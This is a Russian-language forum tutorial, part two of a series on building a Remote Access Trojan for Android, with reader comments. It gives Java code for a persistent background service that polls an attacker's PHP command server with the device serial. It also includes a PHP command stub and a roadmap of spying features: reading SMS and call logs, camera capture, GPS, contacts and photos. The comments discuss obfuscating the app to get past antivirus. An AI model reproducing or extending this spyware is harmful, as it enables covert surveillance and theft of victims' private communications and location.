Статья Свой RAT для Android - Часть 2

Содержание статьи:
  1. Приветствие
  2. Скачивание пакетов
  3. Создание WEB-затычки и метода для отправки запросов
  4. Определение и обработка нужных методов
  5. Бонус
  6. Заключение
1. Приветствие

1. Ссылка на первую статью.

Всем читателям привет и добрый вечер (похоже это станет моим основным приветствием). И так, это уже вторая статья на тему создания RAT для Android на языке Java. Если у кого-то остались вопросы из прошлой статьи, спрашивайте в этой, не беда.

Так же хотелось бы заметить что MainService теперь называется по другому, а именно - TranosService. Почему такое название ? Да я и сам не знаю. Просто пришло в голову вот и решил переделать (думаю что проблем из-за смены названия ни у кого не возникнет).

В этой статье мы создадим затычки (WEB часть, которая будет выдавать нужные нам задания) и часть функционала, который будет расширяться. Для дальнейшей работы нам нужно будет скачать два основных пакета с GitHub и пару дополнительных. Советую вам не скачивать их через Gradle (хотя некоторые все же придется скачать именно через него), а скачать напрямую и положить их в проект т.к. это позволит в дальнейшем расширить существующий в этих пакетах функционал.

2. Скачивание пакетов и их настройка
Вот этот и вот этот пакет скачать нужно будет архивом и закинуть в папку с проектом. (Папка modules и ServiceReceiver нам понадобится потом, можно пока что не создавать)
1570091729089.png
Их в дальнейшем мы будем дополнять т.к. там нет всего функционала, который нам нужен. Самое неприятное в этом методе это то что там будут прописаны свои package названия, которые нам потребуется заменить. Дело не сложное, но потребует от вас минут 5-10 лишнего времени.
После того как вы скачали и распаковали пакеты в папку с проектом, необходимо его собрать и просмотреть список ошибок снизу. Вам нужно поменять все package имена на свои.
1570094149535.png
А вот пакет для http запросов и вывода логов установим через Gradle. Для этого зайдите в файл build.gradle (Module: app) и допишите в dependencies следующий код, а потом либо запустите сборку проекта либо либо нажмите на кнопку "Sync Project with Gradle Files" чтобы Gradle установил пакеты.
1570092050914.png
Код:
dependencies {
    implementation 'com.github.kevinsawicki:http-request:5.6'
    implementation 'com.orhanobut:logger:2.2.0'
}

3. Создание WEB-затычки и метода для отправки запросов
Для создания затычки можно использовать любой хостинг (можно даже локальный сайт, однако потом, когда программа выйдет в свет, то вам уже не обойтись без полноценного сайта, ну или же без статического IP и OpenServer-а или No-IP). Для тех у кого статический IP и они захотят сделать свой локальный сайт глобальным, сделаю небольшую статью (ну или напишу как это сделать в качестве бонуса).
Если вы используете локальный сайт, то вам потребуется:
  1. Android смартфон (я не вникал как сделать так чтобы эмулятор мог обращаться к локальной сети) или же установите Android эмулятор, который имеет режим моста (Nox вроде имеет, но у меня не сработал, так что все же лучше смартфон).
  2. Создать PHP файл на вашем локальном сайте (название любое, но у меня будет function.php)
  3. Напишем код
  4. Ну и получим ссылку на файл с ip адресом вашего ПК в локальной сети, например
Если вы используете хостинг, то вам нужно:
  1. Создать PHP файл
  2. Написать код
  3. Ссылку к файлу скопировать и вставить в нужное место (да-да, смешно)
Наша затычка для проекта
PHP:
<?php
if($_GET['id'])
    echo json_encode(['response' => 'test_function_hello']);
else
    echo json_encode(['response' => 'Error']);

4. Определение и обработка нужных методов
Пропишем в манифесте наш сервис. (Вместо com.tranos.app.TranosService напишите свое)
XML:
<service android:name="com.tranos.app.TranosService"
    android:enabled="true"
    android:exported="true"
    android:persistent="true">
</service>

Ну, а теперь пора бы и приступить к главному гвоздю нашей программы - коду. В TranosService (название MainService из прошлой статьи поменялось, у кого другое, можете не менять) добавим новую строку.
Java:
private String URL_DEFAULT = "http://192.168.0.150/"; //тут ваша ссылка БЕЗ файла на локальный сайт или же на хостинг
1570094420481.png
И теперь немного поменяем нашу переменную с потоком (называлась она obtainTask)
Java:
Thread obtainTask = new Thread() {
    @SuppressLint("Wakelock") @Override
    public void run() {
        Looper.prepare();

        while (true) {
            try {
                String serialId = BuildHelper.mobGetBuildInfo().getString("serial"); //получаем серийный идентификатор устройства
                //String serialId = MobileHardWareHelper.mobileBuild().getString("serial"); //результат один и тот же что и с верхним
                String result = query(String.format("%sfunction.php?id=%s", URL_DEFAULT, serial)); //отправляем запрос на наш сайт (вместо function напишите название своего файла с сайта)
                String response = new JSONObject(result).getString("response"); //получаем результат из response, в нашем случае это будет test_function_hello
                List<String> list = new ArrayList<String>(Arrays.asList(response.split("_"))); //разбиваем наш результат по нижнему подчеркиванию, получаем 0->test | 1->function | 2->hello

                if (list.size() > 0) { //если у нас не пустой результат
                    if (list.get(0).contains("test")) { //если у нас в первым заданием будет test
                        Test(list); //то запускаем функцию Test, которая будет сделана чуть ниже и передаем ей наш массив с параметрами
                    }
                }


            } catch (Exception e) {

            }


            try {
                Thread.sleep(10000);
            } catch (Exception e) {
                obtainTask.start();
            }
        }
    }
};
Но дайте отгадаю. У вас появились ошибки ? Значит будем исправлять.
Создадим функцию query, которая будет получать задания.
Java:
public String query(String url ) {

    String response = "Network unavailable";
    if(true) { //NetworkUtils.isNetworkAvailable() тут будет проверка на интернет
        try {
            response = HttpRequest.get(url).accept("application/json").body();
        } catch (Exception e) {
            return response;
        }
    }
    return response ;
}
Хорошо, с этим тоже разобрались, но еще как минимум одна ошибка у нас осталась. У нас все еще нет функции Test, значит создаем.
Java:
private void Test(List<String> list) {
    Logger.d(list); //выведет нам наш массив
    if(list.get(1).contains("function")) {
        Logger.d("Функция успешно получена и обработана");
        if(list.get(2).contains("hello")) {
            Logger.d("Привет, мир, я новый бот.");
        }
    }
}
Думаю что из комментариев все будет понятно, а импортов, которых у вас не хватает можно добавить нажав на красное слово и комбинацией Alt + Enter, или же наведя на красную лампу, которая должна появится слева (П.С. не забываем что проект делается в Android Studio, ну это так, на всякий, вдруг кто-то все таки с Eclipse).

5. Бонус
Бонус только для тех кто скачал пакеты не с помощью Gradle, а так скажем, ручками и все подправил под свой проект.
Так вот, первое что мы сделаем - зайдем
-> mobilehardware
-> Base
-> BaseData
И добавим первые дополнительный класс CallLogs.
Java:
public static class CallLogs {
    public static final String CALL_NUMBER = "callNumber";
    public static final String CALL_NAME = "callName";
    public static final String CALL_DATE = "callDate";
    public static final String CALL_TYPE = "callType";
    public static final String CALL_DURATION = "callDuration";
}
1570093603864.png
Пока что это - заготовка на будущее.

6. Заключение
В этой статье мы сделали так чтобы наш клиент получал команды с сервера и выполнял нужные нам действия (да, их пока всего одно, но это пока). В следующей части мы добавим метод для получения звонков с устройства, а может и сразу сообщений (посмотрим как зайдет статься).

Дальнейшее руководство и действия будут в следующих главах, так что не пропусти. Пишите свои предложения по поводу расширения функционала и вообще любые ваши идеи.
Где есть пометка @feature, значит этот функционал реализован на момент написания статьи.
Где есть пометка @todo, значит этот функционал в стадии разработки и должен скоро появится.
Где есть пометка @issue, значит этот функционал был предложен одним из пользователей и вызвал интерес у автора и в скором времени будет реализован.
  1. Получение команд с сайта @feature
  2. Получение команд через Telegram бота
  3. Получение команд через смс @todo
  4. Работа с сообщениями
    1. Получение сообщений @feature
    2. Получение сообщений с конкретным пользователем @todo
    3. Удаление сообщение @todo
    4. Блокировка сообщений
    5. Отправка сообщений @todo
  5. Работа со звонками
    1. Получение звонков @feature
    2. Получение звонков с конкретным пользователем
    3. Удаление звонков
    4. Блокировка звонков
    5. Вызов абонента @todo
    6. Запись звонков
  6. Работа с камерой
    1. Фотосъемка с камер @feature
    2. Видеосъемка
  7. Запись звука
  8. Получение данных GPS @feature
  9. Получение списка контактов с телефона @feature
  10. Получение медиа (фотографий) @feature
  11. Доступ к проводнику (доступ к файловой системе)
  12. Получение информации об устройстве (куда же без нее) @feature
  13. Получение Root прав
  14. Управление смартфоном
    1. Громкость @todo
    2. Яркость @todo
    3. Обои
    4. Прочее
 
Антивирусом палится почти большая часть половины антивирусами определяет, так что пойдет только у кого его нет.
 
Антивирусом палится почти большая часть половины антивирусами определяет, так что пойдет только у кого его нет.
В дальнейшем планирую сделать обфускацию кода, надеюсь поможет. А так, у большинства не стоит антивирус на устройстве (я один из таких).
 
  • Нравится
Реакции: mrtyrel
А так, у большинства не стоит антивирус на устройстве (я один из таких).
сразу видно что не работал с БА понту от этих Rat-ников вся сеть ими завалена про обфускацию кода и сллейку можно почитать как пример тыц
 
  • Нравится
Реакции: mrtyrel
сразу видно что не работал с БА понту от этих Rat-ников вся сеть ими завалена про обфускацию кода и сллейку можно почитать как пример тыц
Опа опытные подьехали я кста до сих пор не отписался от видео какого то школьника))
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!